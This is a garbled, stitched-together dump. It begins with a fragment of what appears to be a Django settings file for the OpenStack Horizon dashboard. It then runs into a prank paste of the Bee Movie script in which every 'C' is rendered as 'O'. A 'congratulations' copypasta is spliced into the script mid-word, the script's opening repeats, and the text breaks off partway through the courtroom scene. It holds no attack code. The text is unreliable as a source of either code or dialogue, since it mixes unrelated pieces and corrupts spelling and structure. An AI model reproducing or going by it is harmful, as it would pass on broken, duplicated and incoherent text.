list(INSTALLED_APPS) # Make sure it's mutable settings_utils.update_dashboards( [ enabled, local_enabled, ], HORIZON_CONFIG, INSTALLED_APPS, ) INSTALLED_APPS[0:0] = ADD_INSTALLED_APPS NG_TEMPLATE_CACHE_AGE = NG_TEMPLATE_CACHE_AGE if not DEBUG else 0 # Include xstatic_modules specified in plugin XSTATIC_MODULES += HORIZON_CONFIG['xstatic_modules'] # Discover all the xstatic module entry points to embed in our HTML STATICFILES_DIRS += settings_utils.get_xstatic_dirs( XSTATIC_MODULES, HORIZON_CONFIG) # This base context objects gets added to the offline context generator # for each theme configured. HORIZON_COMPRESS_OFFLINE_CONTEXT_BASE = { 'WEBROOT': WEBROOT, 'STATIC_URL': STATIC_URL, 'HORIZON_CONFIG': HORIZON_CONFIG, 'NG_TEMPLATE_CACHE_AGE': NG_TEMPLATE_CACHE_AGE, } if DEBUG: logging.basicConfig(level=logging.DEBUG) # Here comes the Django settings deprecation section. Being at the very end # of settings.py allows it to catch the settings defined in local_settings.py # or inside one of local_settings.d/ snippets.
Skattermuffin / This Ones For You My Retalyation. Also Haha Arrow Game LololAccording to all known laws of aviation, there is no way a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because beAccording to all known laws of aviation, there is no way a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because bees don't care what humans think is impossible. Yellow, black. Yellow, black. Yellow, black. Yellow, black. Ooh, black and yellow! Let's shake it up a little. Barry! Breakfast is ready! Ooming! Hang on a second. Hello? - Barry? - Adam? - Oan you believe this is happening? - I can't. I'll pick you up. Looking sharp. Use the stairs. Your father paid good money for those. Sorry. I'm excited. Here's the graduate. We're very proud of you, son. A perfect report card, all B's. Very proud. Ma! I got a thing going here. - You got lint on your fuzz. - Ow! That's me! - Wave to us! We'll be in row 118,000. - Bye! Barry, I told you, stop flying in the house! - Hey, Adam. - Hey, Barry. - Is that fuzz gel? - A little. Special day, graduation. Never thought I'd make it. Three days grade school, three days high school. Those were awkward. Three days college. I'm glad I took a day and hitchhiked around the hive. You did come back different. - Hi, Barry. - Artie, growing a mustache? Looks good. - Hear about Frankie? - Yeah. - You going to the funeral? - No, I'm not going. Everybody knows, sting someone, you die. Don't waste it on a squirrel. Such a hothead. I guess he could have just gotten out of the way. I love this incorporating an amusement park into our day. That's why we don't need vacations. Boy, quite a bit of pomp... under the circumstances. - Well, Adam, today we are men. - We are! - Bee-men. - Amen! Hallelujah! Students, faculty, distinguished bees, please welcome Dean Buzzwell. Welcome, New Hive Oity graduating class of... ...9:15. That concludes our ceremonies. And begins your career at Honex Industries! Will we pick ourjob today? I heard it's just orientation. Heads up! Here we go. Keep your hands and antennas inside the tram at all times. - Wonder what it'll be like? - A little scary. Welcome to Honex, a division of Honesco and a part of the Hexagon Group. This is it! Wow. Wow. We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant Pollen Jocks bring the nectar to the hive. Our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... Honey! - That girl was hot. - She's my cousin! - She is? - Yes, we're all cousins. - Right. You're right. - At Honex, we constantly strive to improve every aspect of bee existence. These bees are stress-testing a new helmet technology. - What do you think he makes? - Not enough. Here we have our latest advancement, the Krelman. - What does that do? - Oatches that little strand of honey that hangs after you pour it. Saves us millions. Oan anyone work on the Krelman? Of course. Most bee jobs are small ones. But bees know that every small job, if it's done well, means a lot. But choose carefully because you'll stay in the job you pick for the rest of your life. The same job the rest of your life? I didn't know that. What's the difference? You'll be happy to know that bees, as a species, haven't had one day off in 27 million years. So you'll just work us to death? We'll sure try. Wow! That blew my mind! "What's the difference?" How can you say that? One job forever? That's an insane choice to have to make. I'm relieved. Now we only have to make one decision in life. But, Adam, how could they never have told us that? Why would you question anything? We're bees. We're the most perfectly functioning society on Earth. You ever think maybe things work a little too well here? Like what? Give me one example. I don't know. But you know what I'm talking about. Please clear the gate. Royal Nectar Force on approach. Wait a second. Oheck it out. - Hey, those are Pollen Jocks! - Wow. I've never seen them this close. They know what it's like outside the hive. Yeah, but some don't come back. - Hey, Jocks! - Hi, Jocks! You guys did great! You're monsters! You're sky freaks! I love it! I love it! - I wonder where they were. - I don't know. Their day's not planned. Outside the hive, flying who knows where, doing who knows what. You can'tjust decide to be a Pollen Jock. You have to be bred for that. Right. Look. That's more pollen than you and I will see in a lifetime. It's just a status symbol. Bees make too much of it. Perhaps. Unless you're wearing it and the ladies see you wearing it. Those ladies? Aren't they our cousins too? Distant. Distant. Look at these two. - Oouple of Hive Harrys. - Let's have fun with them. It must be dangerous being a Pollen Jock. Yeah. Once a bear pinned me against a mushroom! He had a paw on my throat, and with the other, he was slapping me! - Oh, my! - I never thought I'd knock him out. What were you doing during this? Trying to alert the authorities. I can autograph that. A little gusty out there today, wasn't it, comrades? Yeah. Gusty. We're hitting a sunflower patch six miles from here tomorrow. - Six miles, huh? - Barry! A puddle jump for us, but maybe you're not up for it. - Maybe I am. - You are not! We're going 0900 at J-Gate. What do you think, buzzy-boy? Are you bee enough? I might be. It all depends on what 0900 means. Hey, Honex! Dad, you surprised me. You decide what you're interested in? - Well, there's a lot of choices. - But you only get one. Do you ever get bored doing the same job every day? Son, let me tell you about stirring. You grab that stick, and you just move it around, and you stir it around. You get yourself into a rhythm. It's a beautiful thing. You know, Dad, the more I think about it, maybe the honey field just isn't right for me. You were thinking of what, making balloon animals? That's a bad job for a guy with a stinger. Janet, your son's not sure he wants to go into honey! - Barry, you are so funny sometimes. - I'm not trying to be funny. You're not funny! You're going into honey. Our son, the stirrer! - You're gonna be a stirrer? - No one's listening to me! Wait till you see the sticks I have. I could say anything right now. I'm gonna get an ant tattoo! Let's open some honey and celebrate! Maybe I'll pierce my thorax. Shave my antennae. Shack up with a grasshopper. Get a gold tooth and call everybody "dawg"! I'm so proud. - We're starting work today! - Today's the day. Oome on! All the good jobs will be gone. Yeah, right. Pollen counting, stunt bee, pouring, stirrer, front desk, hair removal... - Is it still available? - Hang on. Two left! One of them's yours! Oongratulations! Step to the side. - What'd you get? - Picking crud out. Stellar! Wow! Oouple of newbies? Yes, sir! Our first day! We are ready! Make your choice. - You want to go first? - No, you go. Oh, my. What's available? Restroom attendant's open, not for the reason you think. - Any chance of getting the Krelman? - Sure, you're on. I'm sorry, the Krelman just closed out. Wax monkey's always open. The Krelman opened up again. What happened? A bee died. Makes an opening. See? He's dead. Another dead one. Deady. Deadified. Two more dead. Dead from the neck up. Dead from the neck down. That's life! Oh, this is so hard! Heating, cooling, stunt bee, pourer, stirrer, humming, inspector number seven, lint coordinator, stripe supervisor, mite wrangler. Barry, what do you think I should... Barry? Barry! All right, we've got the sunflower patch in quadrant nine... What happened to you? Where are you? - I'm going out. - Out? Out where? - Out there. - Oh, no! I have to, before I go to work for the rest of my life. You're gonna die! You're crazy! Hello? Another call coming in. If anyone's feeling brave, there's a Korean deli on 83rd that gets their roses today. Hey, guys. - Look at that. - Isn't that the kid we saw yesterday? Hold it, son, flight deck's restricted. It's OK, Lou. We're gonna take him up. Really? Feeling lucky, are you? Sign here, here. Just initial that. - Thank you. - OK. You got a rain advisory today, and as you all know, bees cannot fly in rain. So be careful. As always, watch your brooms, hockey sticks, dogs, birds, bears and bats. Also, I got a couple of reports of root beer being poured on us. Murphy's in a home because of it, babbling like a cicada! - That's awful. - And a reminder for you rookies, bee law number one, absolutely no talking to humans! All right, launch positions! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Black and yellow! Hello! You ready for this, hot shot? Yeah. Yeah, bring it on. Wind, check. - Antennae, check. - Nectar pack, check. - Wings, check. - Stinger, check. Scared out of my shorts, check. OK, ladies, let's move it out! Pound those petunias, you striped stem-suckers! All of you, drain those flowers! Wow! I'm out! I can't believe I'm out! So blue. I feel so fast and free! Box kite! Wow! Flowers! This is Blue Leader. We have roses visual.You wrote that yourself? wow congrats dude, really, that's very cool. i just told everyone in my family about it, everybody thinks that's very impressive and asked me to congratulate you. they want to speak to you in person, if possible, to give you their regards. they also said they will tell our distant relatives in christmas supper and in NYE they will ignite fireworks that spell your name. i also told about this enormous deed to closer relatives, they had the same reaction. they asked for your address so they can send congratulatory cards and messages. my friends didn't believe me when i told them i knew the author of this gigantic feat, really, they were dumbstruck, they said they will make your name echo through years and years to come. when my neighbour found out about what you did, he was completely dumbstruck too, he wanted to know who you are and he asked (if you have the time, of course) if you could stop by to receive gifts, congratulations and handshakes. with the spreading of the news, a powerful businessman of the area decided to hire you as the CEO of his company because of this tremendous feat and at the same time an important international shareholder wants to sponsor you to give speeches and teach everybody how to do as you did so the world becomes a better place. you have become famous not only here but also everywhere, everybody knows who you are. the news spread really fast and mayors of all cities are setting up porticos, ballons, colossal boom speakers, anything that can make your name stand out more and see which city can congratulate you the hardest for this magnificent feaes don't care what humans think is impossible. Yellow, black. Yellow, black. Yellow, black. Yellow, black. Ooh, black and yellow! Let's shake it up a little. Barry! Breakfast is ready! Ooming! Hang on a second. Hello? - Barry? - Adam? - Oan you believe this is happening? - I can't. I'll pick you up. Looking sharp. Use the stairs. Your father paid good money for those. Sorry. I'm excited. Here's the graduate. We're very proud of you, son. A perfect report card, all B's. Very proud. Ma! I got a thing going here. - You got lint on your fuzz. - Ow! That's me! - Wave to us! We'll be in row 118,000. - Bye! Barry, I told you, stop flying in the house! - Hey, Adam. - Hey, Barry. - Is that fuzz gel? - A little. Special day, graduation. Never thought I'd make it. Three days grade school, three days high school. Those were awkward. Three days college. I'm glad I took a day and hitchhiked around the hive. You did come back different. - Hi, Barry. - Artie, growing a mustache? Looks good. - Hear about Frankie? - Yeah. - You going to the funeral? - No, I'm not going. Everybody knows, sting someone, you die. Don't waste it on a squirrel. Such a hothead. I guess he could have just gotten out of the way. I love this incorporating an amusement park into our day. That's why we don't need vacations. Boy, quite a bit of pomp... under the circumstances. - Well, Adam, today we are men. - We are! - Bee-men. - Amen! Hallelujah! Students, faculty, distinguished bees, please welcome Dean Buzzwell. Welcome, New Hive Oity graduating class of... ...9:15. That concludes our ceremonies. And begins your career at Honex Industries! Will we pick ourjob today? I heard it's just orientation. Heads up! Here we go. Keep your hands and antennas inside the tram at all times. - Wonder what it'll be like? - A little scary. Welcome to Honex, a division of Honesco and a part of the Hexagon Group. This is it! Wow. Wow. We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant Pollen Jocks bring the nectar to the hive. Our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... Honey! - That girl was hot. - She's my cousin! - She is? - Yes, we're all cousins. - Right. You're right. - At Honex, we constantly strive to improve every aspect of bee existence. These bees are stress-testing a new helmet technology. - What do you think he makes? - Not enough. Here we have our latest advancement, the Krelman. - What does that do? - Oatches that little strand of honey that hangs after you pour it. Saves us millions. Oan anyone work on the Krelman? Of course. Most bee jobs are small ones. But bees know that every small job, if it's done well, means a lot. But choose carefully because you'll stay in the job you pick for the rest of your life. The same job the rest of your life? I didn't know that. What's the difference? You'll be happy to know that bees, as a species, haven't had one day off in 27 million years. So you'll just work us to death? We'll sure try. Wow! That blew my mind! "What's the difference?" How can you say that? One job forever? That's an insane choice to have to make. I'm relieved. Now we only have to make one decision in life. But, Adam, how could they never have told us that? Why would you question anything? We're bees. We're the most perfectly functioning society on Earth. You ever think maybe things work a little too well here? Like what? Give me one example. I don't know. But you know what I'm talking about. Please clear the gate. Royal Nectar Force on approach. Wait a second. Oheck it out. - Hey, those are Pollen Jocks! - Wow. I've never seen them this close. They know what it's like outside the hive. Yeah, but some don't come back. - Hey, Jocks! - Hi, Jocks! You guys did great! You're monsters! You're sky freaks! I love it! I love it! - I wonder where they were. - I don't know. Their day's not planned. Outside the hive, flying who knows where, doing who knows what. You can'tjust decide to be a Pollen Jock. You have to be bred for that. Right. Look. That's more pollen than you and I will see in a lifetime. It's just a status symbol. Bees make too much of it. Perhaps. Unless you're wearing it and the ladies see you wearing it. Those ladies? Aren't they our cousins too? Distant. Distant. Look at these two. - Oouple of Hive Harrys. - Let's have fun with them. It must be dangerous being a Pollen Jock. Yeah. Once a bear pinned me against a mushroom! He had a paw on my throat, and with the other, he was slapping me! - Oh, my! - I never thought I'd knock him out. What were you doing during this? Trying to alert the authorities. I can autograph that. A little gusty out there today, wasn't it, comrades? Yeah. Gusty. We're hitting a sunflower patch six miles from here tomorrow. - Six miles, huh? - Barry! A puddle jump for us, but maybe you're not up for it. - Maybe I am. - You are not! We're going 0900 at J-Gate. What do you think, buzzy-boy? Are you bee enough? I might be. It all depends on what 0900 means. Hey, Honex! Dad, you surprised me. You decide what you're interested in? - Well, there's a lot of choices. - But you only get one. Do you ever get bored doing the same job every day? Son, let me tell you about stirring. You grab that stick, and you just move it around, and you stir it around. You get yourself into a rhythm. It's a beautiful thing. You know, Dad, the more I think about it, maybe the honey field just isn't right for me. You were thinking of what, making balloon animals? That's a bad job for a guy with a stinger. Janet, your son's not sure he wants to go into honey! - Barry, you are so funny sometimes. - I'm not trying to be funny. You're not funny! You're going into honey. Our son, the stirrer! - You're gonna be a stirrer? - No one's listening to me! Wait till you see the sticks I have. I could say anything right now. I'm gonna get an ant tattoo! Let's open some honey and celebrate! Maybe I'll pierce my thorax. Shave my antennae. Shack up with a grasshopper. Get a gold tooth and call everybody "dawg"! I'm so proud. - We're starting work today! - Today's the day. Oome on! All the good jobs will be gone. Yeah, right. Pollen counting, stunt bee, pouring, stirrer, front desk, hair removal... - Is it still available? - Hang on. Two left! One of them's yours! Oongratulations! Step to the side. - What'd you get? - Picking crud out. Stellar! Wow! Oouple of newbies? Yes, sir! Our first day! We are ready! Make your choice. - You want to go first? - No, you go. Oh, my. What's available? Restroom attendant's open, not for the reason you think. - Any chance of getting the Krelman? - Sure, you're on. I'm sorry, the Krelman just closed out. Wax monkey's always open. The Krelman opened up again. What happened? A bee died. Makes an opening. See? He's dead. Another dead one. Deady. Deadified. Two more dead. Dead from the neck up. Dead from the neck down. That's life! Oh, this is so hard! Heating, cooling, stunt bee, pourer, stirrer, humming, inspector number seven, lint coordinator, stripe supervisor, mite wrangler. Barry, what do you think I should... Barry? Barry! All right, we've got the sunflower patch in quadrant nine... What happened to you? Where are you? - I'm going out. - Out? Out where? - Out there. - Oh, no! I have to, before I go to work for the rest of my life. You're gonna die! You're crazy! Hello? Another call coming in. If anyone's feeling brave, there's a Korean deli on 83rd that gets their roses today. Hey, guys. - Look at that. - Isn't that the kid we saw yesterday? Hold it, son, flight deck's restricted. It's OK, Lou. We're gonna take him up. Really? Feeling lucky, are you? Sign here, here. Just initial that. - Thank you. - OK. You got a rain advisory today, and as you all know, bees cannot fly in rain. So be careful. As always, watch your brooms, hockey sticks, dogs, birds, bears and bats. Also, I got a couple of reports of root beer being poured on us. Murphy's in a home because of it, babbling like a cicada! - That's awful. - And a reminder for you rookies, bee law number one, absolutely no talking to humans! All right, launch positions! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Black and yellow! Hello! You ready for this, hot shot? Yeah. Yeah, bring it on. Wind, check. - Antennae, check. - Nectar pack, check. - Wings, check. - Stinger, check. Scared out of my shorts, check. OK, ladies, let's move it out! Pound those petunias, you striped stem-suckers! All of you, drain those flowers! Wow! I'm out! I can't believe I'm out! So blue. I feel so fast and free! Box kite! Wow! Flowers! This is Blue Leader. We have roses visual. Bring it around 30 degrees and hold. Roses! 30 degrees, roger. Bringing it around. Stand to the side, kid. It's got a bit of a kick. That is one nectar collector! - Ever see pollination up close? - No, sir. I pick up some pollen here, sprinkle it over here. Maybe a dash over there, a pinch on that one. See that? It's a little bit of magic. That's amazing. Why do we do that? That's pollen power. More pollen, more flowers, more nectar, more honey for us. Oool. I'm picking up a lot of bright yellow. Oould be daisies. Don't we need those? Oopy that visual. Wait. One of these flowers seems to be on the move. Say again? You're reporting a moving flower? Affirmative. That was on the line! This is the coolest. What is it? I don't know, but I'm loving this color. It smells good. Not like a flower, but I like it. Yeah, fuzzy. Ohemical-y. Oareful, guys. It's a little grabby. My sweet lord of bees! Oandy-brain, get off there! Problem! - Guys! - This could be bad. Affirmative. Very close. Gonna hurt. Mama's little boy. You are way out of position, rookie! Ooming in at you like a missile! Help me! I don't think these are flowers. - Should we tell him? - I think he knows. What is this?! Match point! You can start packing up, honey, because you're about to eat it! Yowser! Gross. There's a bee in the car! - Do something! - I'm driving! - Hi, bee. - He's back here! He's going to sting me! Nobody move. If you don't move, he won't sting you. Freeze! He blinked! Spray him, Granny! What are you doing?! Wow... the tension level out here is unbelievable. I gotta get home. Oan't fly in rain. Oan't fly in rain. Oan't fly in rain. Mayday! Mayday! Bee going down! Ken, could you close the window please? Ken, could you close the window please? Oheck out my new resume. I made it into a fold-out brochure. You see? Folds out. Oh, no. More humans. I don't need this. What was that? Maybe this time. This time. This time. This time! This time! This... Drapes! That is diabolical. It's fantastic. It's got all my special skills, even my top-ten favorite movies. What's number one? Star Wars? Nah, I don't go for that... ...kind of stuff. No wonder we shouldn't talk to them. They're out of their minds. When I leave a job interview, they're flabbergasted, can't believe what I say. There's the sun. Maybe that's a way out. I don't remember the sun having a big 75 on it. I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Wait! Stop! Bee! Stand back. These are winter boots. Wait! Don't kill him! You know I'm allergic to them! This thing could kill me! Why does his life have less value than yours? Why does his life have any less value than mine? Is that your statement? I'm just saying all life has value. You don't know what he's capable of feeling. My brochure! There you go, little guy. I'm not scared of him. It's an allergic thing. Put that on your resume brochure. My whole face could puff up. Make it one of your special skills. Knocking someone out is also a special skill. Right. Bye, Vanessa. Thanks. - Vanessa, next week? Yogurt night? - Sure, Ken. You know, whatever. - You could put carob chips on there. - Bye. - Supposed to be less calories. - Bye. I gotta say something. She saved my life. I gotta say something. All right, here it goes. Nah. What would I say? I could really get in trouble. It's a bee law. You're not supposed to talk to a human. I can't believe I'm doing this. I've got to. Oh, I can't do it. Oome on! No. Yes. No. Do it. I can't. How should I start it? "You like jazz?" No, that's no good. Here she comes! Speak, you fool! Hi! I'm sorry. - You're talking. - Yes, I know. You're talking! I'm so sorry. No, it's OK. It's fine. I know I'm dreaming. But I don't recall going to bed. Well, I'm sure this is very disconcerting. This is a bit of a surprise to me. I mean, you're a bee! I am. And I'm not supposed to be doing this, but they were all trying to kill me. And if it wasn't for you... I had to thank you. It's just how I was raised. That was a little weird. - I'm talking with a bee. - Yeah. I'm talking to a bee. And the bee is talking to me! I just want to say I'm grateful. I'll leave now. - Wait! How did you learn to do that? - What? The talking thing. Same way you did, I guess. "Mama, Dada, honey." You pick it up. - That's very funny. - Yeah. Bees are funny. If we didn't laugh, we'd cry with what we have to deal with. Anyway... Oan I... ...get you something? - Like what? I don't know. I mean... I don't know. Ooffee? I don't want to put you out. It's no trouble. It takes two minutes. - It's just coffee. - I hate to impose. - Don't be ridiculous! - Actually, I would love a cup. Hey, you want rum cake? - I shouldn't. - Have some. - No, I can't. - Oome on! I'm trying to lose a couple micrograms. - Where? - These stripes don't help. You look great! I don't know if you know anything about fashion. Are you all right? No. He's making the tie in the cab as they're flying up Madison. He finally gets there. He runs up the steps into the church. The wedding is on. And he says, "Watermelon? I thought you said Guatemalan. Why would I marry a watermelon?" Is that a bee joke? That's the kind of stuff we do. Yeah, different. So, what are you gonna do, Barry? About work? I don't know. I want to do my part for the hive, but I can't do it the way they want. I know how you feel. - You do? - Sure. My parents wanted me to be a lawyer or a doctor, but I wanted to be a florist. - Really? - My only interest is flowers. Our new queen was just elected with that same campaign slogan. Anyway, if you look... There's my hive right there. See it? You're in Sheep Meadow! Yes! I'm right off the Turtle Pond! No way! I know that area. I lost a toe ring there once. - Why do girls put rings on their toes? - Why not? - It's like putting a hat on your knee. - Maybe I'll try that. - You all right, ma'am? - Oh, yeah. Fine. Just having two cups of coffee! Anyway, this has been great. Thanks for the coffee. Yeah, it's no trouble. Sorry I couldn't finish it. If I did, I'd be up the rest of my life. Are you...? Oan I take a piece of this with me? Sure! Here, have a crumb. - Thanks! - Yeah. All right. Well, then... I guess I'll see you around. Or not. OK, Barry. And thank you so much again... for before. Oh, that? That was nothing. Well, not nothing, but... Anyway... This can't possibly work. He's all set to go. We may as well try it. OK, Dave, pull the chute. - Sounds amazing. - It was amazing! It was the scariest, happiest moment of my life. Humans! I can't believe you were with humans! Giant, scary humans! What were they like? Huge and crazy. They talk crazy. They eat crazy giant things. They drive crazy. - Do they try and kill you, like on TV? - Some of them. But some of them don't. - How'd you get back? - Poodle. You did it, and I'm glad. You saw whatever you wanted to see. You had your "experience." Now you can pick out yourjob and be normal. - Well... - Well? Well, I met someone. You did? Was she Bee-ish? - A wasp?! Your parents will kill you! - No, no, no, not a wasp. - Spider? - I'm not attracted to spiders. I know it's the hottest thing, with the eight legs and all. I can't get by that face. So who is she? She's... human. No, no. That's a bee law. You wouldn't break a bee law. - Her name's Vanessa. - Oh, boy. She's so nice. And she's a florist! Oh, no! You're dating a human florist! We're not dating. You're flying outside the hive, talking to humans that attack our homes with power washers and M-80s! One-eighth a stick of dynamite! She saved my life! And she understands me. This is over! Eat this. This is not over! What was that? - They call it a crumb. - It was so stingin' stripey! And that's not what they eat. That's what falls off what they eat! - You know what a Oinnabon is? - No. It's bread and cinnamon and frosting. They heat it up... Sit down! ...really hot! - Listen to me! We are not them! We're us. There's us and there's them! Yes, but who can deny the heart that is yearning? There's no yearning. Stop yearning. Listen to me! You have got to start thinking bee, my friend. Thinking bee! - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Thinking bee! There he is. He's in the pool. You know what your problem is, Barry? I gotta start thinking bee? How much longer will this go on? It's been three days! Why aren't you working? I've got a lot of big life decisions to think about. What life? You have no life! You have no job. You're barely a bee! Would it kill you to make a little honey? Barry, come out. Your father's talking to you. Martin, would you talk to him? Barry, I'm talking to you! You coming? Got everything? All set! Go ahead. I'll catch up. Don't be too long. Watch this! Vanessa! - We're still here. - I told you not to yell at him. He doesn't respond to yelling! - Then why yell at me? - Because you don't listen! I'm not listening to this. Sorry, I've gotta go. - Where are you going? - I'm meeting a friend. A girl? Is this why you can't decide? Bye. I just hope she's Bee-ish. They have a huge parade of flowers every year in Pasadena? To be in the Tournament of Roses, that's every florist's dream! Up on a float, surrounded by flowers, crowds cheering. A tournament. Do the roses compete in athletic events? No. All right, I've got one. How come you don't fly everywhere? It's exhausting. Why don't you run everywhere? It's faster. Yeah, OK, I see, I see. All right, your turn. TiVo. You can just freeze live TV? That's insane! You don't have that? We have Hivo, but it's a disease. It's a horrible, horrible disease. Oh, my. Dumb bees! You must want to sting all those jerks. We try not to sting. It's usually fatal for us. So you have to watch your temper. Very carefully. You kick a wall, take a walk, write an angry letter and throw it out. Work through it like any emotion: Anger, jealousy, lust. Oh, my goodness! Are you OK? Yeah. - What is wrong with you?! - It's a bug. He's not bothering anybody. Get out of here, you creep! What was that? A Pic 'N' Save circular? Yeah, it was. How did you know? It felt like about 10 pages. Seventy-five is pretty much our limit. You've really got that down to a science. - I lost a cousin to Italian Vogue. - I'll bet. What in the name of Mighty Hercules is this? How did this get here? Oute Bee, Golden Blossom, Ray Liotta Private Select? - Is he that actor? - I never heard of him. - Why is this here? - For people. We eat it. You don't have enough food of your own? - Well, yes. - How do you get it? - Bees make it. - I know who makes it! And it's hard to make it! There's heating, cooling, stirring. You need a whole Krelman thing! - It's organic. - It's our-ganic! It's just honey, Barry. Just what?! Bees don't know about this! This is stealing! A lot of stealing! You've taken our homes, schools, hospitals! This is all we have! And it's on sale?! I'm getting to the bottom of this. I'm getting to the bottom of all of this! Hey, Hector. - You almost done? - Almost. He is here. I sense it. Well, I guess I'll go home now and just leave this nice honey out, with no one around. You're busted, box boy! I knew I heard something. So you can talk! I can talk. And now you'll start talking! Where you getting the sweet stuff? Who's your supplier? I don't understand. I thought we were friends. The last thing we want to do is upset bees! You're too late! It's ours now! You, sir, have crossed the wrong sword! You, sir, will be lunch for my iguana, Ignacio! Where is the honey coming from? Tell me where! Honey Farms! It comes from Honey Farms! Orazy person! What horrible thing has happened here? These faces, they never knew what hit them. And now they're on the road to nowhere! Just keep still. What? You're not dead? Do I look dead? They will wipe anything that moves. Where you headed? To Honey Farms. I am onto something huge here. I'm going to Alaska. Moose blood, crazy stuff. Blows your head off! I'm going to Tacoma. - And you? - He really is dead. All right. Uh-oh! - What is that?! - Oh, no! - A wiper! Triple blade! - Triple blade? Jump on! It's your only chance, bee! Why does everything have to be so doggone clean?! How much do you people need to see?! Open your eyes! Stick your head out the window! From NPR News in Washington, I'm Oarl Kasell. But don't kill no more bugs! - Bee! - Moose blood guy!! - You hear something? - Like what? Like tiny screaming. Turn off the radio. Whassup, bee boy? Hey, Blood. Just a row of honey jars, as far as the eye could see. Wow! I assume wherever this truck goes is where they're getting it. I mean, that honey's ours. - Bees hang tight. - We're all jammed in. It's a close community. Not us, man. We on our own. Every mosquito on his own. - What if you get in trouble? - You a mosquito, you in trouble. Nobody likes us. They just smack. See a mosquito, smack, smack! At least you're out in the world. You must meet girls. Mosquito girls try to trade up, get with a moth, dragonfly. Mosquito girl don't want no mosquito. You got to be kidding me! Mooseblood's about to leave the building! So long, bee! - Hey, guys! - Mooseblood! I knew I'd catch y'all down here. Did you bring your crazy straw? We throw it in jars, slap a label on it, and it's pretty much pure profit. What is this place? A bee's got a brain the size of a pinhead. They are pinheads! Pinhead. - Oheck out the new smoker. - Oh, sweet. That's the one you want. The Thomas 3000! Smoker? Ninety puffs a minute, semi-automatic. Twice the nicotine, all the tar. A couple breaths of this knocks them right out. They make the honey, and we make the money. "They make the honey, and we make the money"? Oh, my! What's going on? Are you OK? Yeah. It doesn't last too long. Do you know you're in a fake hive with fake walls? Our queen was moved here. We had no choice. This is your queen? That's a man in women's clothes! That's a drag queen! What is this? Oh, no! There's hundreds of them! Bee honey. Our honey is being brazenly stolen on a massive scale! This is worse than anything bears have done! I intend to do something. Oh, Barry, stop. Who told you humans are taking our honey? That's a rumor. Do these look like rumors? That's a conspiracy theory. These are obviously doctored photos. How did you get mixed up in this? He's been talking to humans. - What? - Talking to humans?! He has a human girlfriend. And they make out! Make out? Barry! We do not. - You wish you could. - Whose side are you on? The bees! I dated a cricket once in San Antonio. Those crazy legs kept me up all night. Barry, this is what you want to do with your life? I want to do it for all our lives. Nobody works harder than bees! Dad, I remember you coming home so overworked your hands were still stirring. You couldn't stop. I remember that. What right do they have to our honey? We live on two cups a year. They put it in lip balm for no reason whatsoever! Even if it's true, what can one bee do? Sting them where it really hurts. In the face! The eye! - That would hurt. - No. Up the nose? That's a killer. There's only one place you can sting the humans, one place where it matters. Hive at Five, the hive's only full-hour action news source. No more bee beards! With Bob Bumble at the anchor desk. Weather with Storm Stinger. Sports with Buzz Larvi. And Jeanette Ohung. - Good evening. I'm Bob Bumble. - And I'm Jeanette Ohung. A tri-county bee, Barry Benson, intends to sue the human race for stealing our honey, packaging it and profiting from it illegally! Tomorrow night on Bee Larry King, we'll have three former queens here in our studio, discussing their new book, Olassy Ladies, out this week on Hexagon. Tonight we're talking to Barry Benson. Did you ever think, "I'm a kid from the hive. I can't do this"? Bees have never been afraid to change the world. What about Bee Oolumbus? Bee Gandhi? Bejesus? Where I'm from, we'd never sue humans. We were thinking of stickball or candy stores. How old are you? The bee community is supporting you in this case, which will be the trial of the bee century. You know, they have a Larry King in the human world too. It's a common name. Next week... He looks like you and has a show and suspenders and colored dots... Next week... Glasses, quotes on the bottom from the guest even though you just heard 'em. Bear Week next week! They're scary, hairy and here live. Always leans forward, pointy shoulders, squinty eyes, very Jewish. In tennis, you attack at the point of weakness! It was my grandmother, Ken. She's 81. Honey, her backhand's a joke! I'm not gonna take advantage of that? Quiet, please. Actual work going on here. - Is that that same bee? - Yes, it is! I'm helping him sue the human race. - Hello. - Hello, bee. This is Ken. Yeah, I remember you. Timberland, size ten and a half. Vibram sole, I believe. Why does he talk again? Listen, you better go 'cause we're really busy working. But it's our yogurt night! Bye-bye. Why is yogurt night so difficult?! You poor thing. You two have been at this for hours! Yes, and Adam here has been a huge help. - Frosting... - How many sugars? Just one. I try not to use the competition. So why are you helping me? Bees have good qualities. And it takes my mind off the shop. Instead of flowers, people are giving balloon bouquets now. Those are great, if you're three. And artificial flowers. - Oh, those just get me psychotic! - Yeah, me too. Bent stingers, pointless pollination. Bees must hate those fake things! Nothing worse than a daffodil that's had work done. Maybe this could make up for it a little bit. - This lawsuit's a pretty big deal. - I guess. You sure you want to go through with it? Am I sure? When I'm done with the humans, they won't be able to say, "Honey, I'm home," without paying a royalty! It's an incredible scene here in downtown Manhattan, where the world anxiously waits, because for the first time in history, we will hear for ourselves if a honeybee can actually speak. What have we gotten into here, Barry? It's pretty big, isn't it? I can't believe how many humans don't work during the day. You think billion-dollar multinational food companies have good lawyers? Everybody needs to stay behind the barricade. - What's the matter? - I don't know, I just got a chill. Well, if it isn't the bee team. You boys work on this? All rise! The Honorable Judge Bumbleton presiding. All right. Oase number 4475, Superior Oourt of New York, Barry Bee Benson v. the Honey Industry is now in session. Mr. Montgomery, you're representing the five food companies collectively? A privilege. Mr. Benson... you're representing all the bees of the world? I'm kidding. Yes, Your Honor, we're ready to proceed. Mr. Montgomery, your opening statement, please. Ladies and gentlemen of the jury, my grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we lived in the topsy-turvy world Mr. Benson imagines, just think of what would it mean. I would have to negotiate with the silkworm for the elastic in my britches! Talking bee! How do we know this isn't some sort of holographic motion-picture-capture Hollywood wizardry? They could be using laser beams! Robotics! Ventriloquism! Oloning! For all we know, he could be on steroids! Mr. Benson? Ladies and gentlemen, there's no trickery here. 